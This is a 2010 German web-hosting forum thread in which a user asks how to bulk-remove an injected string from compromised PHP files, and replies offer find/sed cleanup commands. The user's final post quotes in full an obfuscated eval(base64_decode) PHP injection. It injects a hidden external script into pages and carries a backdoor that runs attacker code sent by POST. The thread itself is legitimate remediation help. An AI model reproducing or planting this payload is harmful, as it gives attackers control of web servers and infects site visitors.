String finden und gleich löschen.

Bash, Shell, PHP, Python, Perl, CGI
Anonymous

String finden und gleich löschen.

Post by Anonymous » 2010-04-16 03:01

Hi,
Ich hab mehrere Dateien von anderem Server umgezogen, leider ganze menge davon ist attackiert worden und gleich einem Shellscript reingefügt haben.
ich hab die betroffenen Dateien gefunden mit

Code: Select all

find . | xargs grep 'String' -sl

Aber ich will der String auch gleich löschen in alle betroffenen Dateien. Ob das möglich ist mit sed oder ...etc?


Danke im Voraus

User avatar
Joe User
Project Manager
Project Manager
Posts: 11138
Joined: 2003-02-27 01:00
Location: Hamburg

Re: String finden und gleich löschen.

Post by Joe User » 2010-04-16 11:07

Nur für GNU sed:

Code: Select all

find /path/to/files -type f -name \*.html -print0 | xargs -0 sed 's#string##g' -i

Die Dateiendung bitte selbst anpassen.
Statt sed kann man auch perl nehmen.

Bist Du Dir zu 100% sicher, dass nur der String eingefügt wurde und die Daten nicht auch noch anderweitig manipuliert wurden?
Last edited by Joe User on 2010-04-16 11:09, edited 1 time in total.
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.

Anonymous

Re: String finden und gleich löschen.

Post by Anonymous » 2010-04-16 12:51

Joe User wrote:Nur für GNU sed:

Code: Select all
find /path/to/files -type f -name \*.html -print0 | xargs -0 sed 's#string##g' -i


Srry, hab vergessen zu schreiben, dass die Strings eval(base64_decode decodiert sind.

Code: Select all

find Desktop/pTransferpages -type f -name \*.php -print0| xargs -0 sed "s#<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndG05dCcpKXtmdW5jdGlvbiB0bTl0KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJkMWJXUnliM0JyYVdSekxtNWxkQzlqWjJrdFltbHVMMmx1WkdWNExuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiB0bTl0MigkYSwkYiwkYywkZCl7Z2xvYmFsJHRtOXQxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCR0bTl0MSkpY2FsbF91c2VyX2Z1bmMoJHRtOXQxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd0bTl0JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgndG05dCcpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSR0bTl0bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndG05dDInKSkhPSd0bTl0MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>##g" -i

Nur letzten zeile von Single Quoted Strings zu Double Quoted Strings geändert.

Danke viel mals :)